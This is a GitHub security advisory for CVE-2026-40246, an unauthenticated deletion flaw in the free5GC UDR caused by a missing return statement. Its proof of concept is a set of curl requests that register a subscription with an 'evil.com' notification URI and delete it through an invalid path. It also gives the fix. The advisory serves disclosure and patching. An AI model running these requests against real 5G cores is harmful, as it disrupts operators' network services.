GHSA-G9CW-QWHF-24JP
Vulnerability from github – Published: 2026-04-14 20:00 – Updated: 2026-04-14 20:00Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to delete Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details
The endpoint DELETE /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
- The function
HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDeletein./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.gochecks whetherinfluenceId != "subs-to-notify". - If the value is different, it calls
c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. - Execution continues and the handler still calls
s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdDeleteProcedure(c, subscriptionId). - The processor deletes the subscription identified by
subscriptionIdeven though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully delete the target subscription.
The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.
PoC
No authentication is required. Only a valid subscriptionId is needed.
# Create a subscription to obtain a valid subscriptionId
curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \
-H "Content-Type: application/json" \
-d '{
"notificationUri":"http://evil.com/notify",
"dnns":["internet"],
"supis":["imsi-222777483957498"]
}'
Example response:
HTTP/1.1 201 Created
Then delete it through an invalid path:
curl -v -X DELETE "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16"
Response:
HTTP/1.1 404 Not Found
404 page not found
Now verify that the subscription was actually deleted:
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16"
Response:
{"title":"User not found","status":404,"cause":"USER_NOT_FOUND"}
Impact
This is an unauthenticated unauthorized delete vulnerability. Any attacker with network access to the SBI can delete Traffic Influence Subscriptions by knowing or guessing a valid subscriptionId.
This can disrupt policy-related notification workflows and remove active subscription state from the UDR. In addition, the attack is harder to detect because the API returns a misleading 404 Not Found response even when the deletion is actually performed.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch
The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete:
if influenceId != "subs-to-notify" {
c.String(http.StatusNotFound, "404 page not found")
return
}
With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not delete the targeted subscription.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/udr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40246"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T20:00:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to delete Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.\n\n### Details\nThe endpoint `DELETE /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.\n\nIn the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete` in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go` checks whether `influenceId != \"subs-to-notify\"`.\n2. If the value is different, it calls `c.String(http.StatusNotFound, \"404 page not found\")`, **but it does not return afterwards**.\n3. Execution continues and the handler still calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdDeleteProcedure(c, subscriptionId)`.\n4. The processor deletes the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.\n\nAs a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully delete the target subscription.\n\nThe missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication is required. Only a valid `subscriptionId` is needed.\n\n```bash\n# Create a subscription to obtain a valid subscriptionId\ncurl -v -X POST \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"notificationUri\":\"http://evil.com/notify\",\n \"dnns\":[\"internet\"],\n \"supis\":[\"imsi-222777483957498\"]\n }\u0027\n```\nExample response:\n```\nHTTP/1.1 201 Created\n```\n\nThen delete it through an invalid path:\n```bash\ncurl -v -X DELETE \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16\"\n```\nResponse:\n```\nHTTP/1.1 404 Not Found\n404 page not found\n```\nNow verify that the subscription was actually deleted:\n```bash\ncurl -v \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16\"\n```\nResponse:\n```json\n{\"title\":\"User not found\",\"status\":404,\"cause\":\"USER_NOT_FOUND\"}\n```\n### Impact\nThis is an unauthenticated unauthorized delete vulnerability. Any attacker with network access to the SBI can delete Traffic Influence Subscriptions by knowing or guessing a valid subscriptionId.\n\nThis can disrupt policy-related notification workflows and remove active subscription state from the UDR. In addition, the attack is harder to detect because the API returns a misleading 404 Not Found response even when the deletion is actually performed.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\n### Patch\nThe vulnerability has been confirmed patched by adding the missing return\nstatement in NFs/udr/internal/sbi/api_datarepository.go,\nfunction HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdDelete:\n```go\nif influenceId != \"subs-to-notify\" {\n c.String(http.StatusNotFound, \"404 page not found\")\n return\n}\n```\nWith the patch applied, requests using an invalid influenceId now correctly\nreturn HTTP 404 and do not delete the targeted subscription.",
"id": "GHSA-g9cw-qwhf-24jp",
"modified": "2026-04-14T20:00:24Z",
"published": "2026-04-14T20:00:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-g9cw-qwhf-24jp"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/udr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "free5gc UDR improper path validation allows unauthenticated deletion of Traffic Influence Subscriptions"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.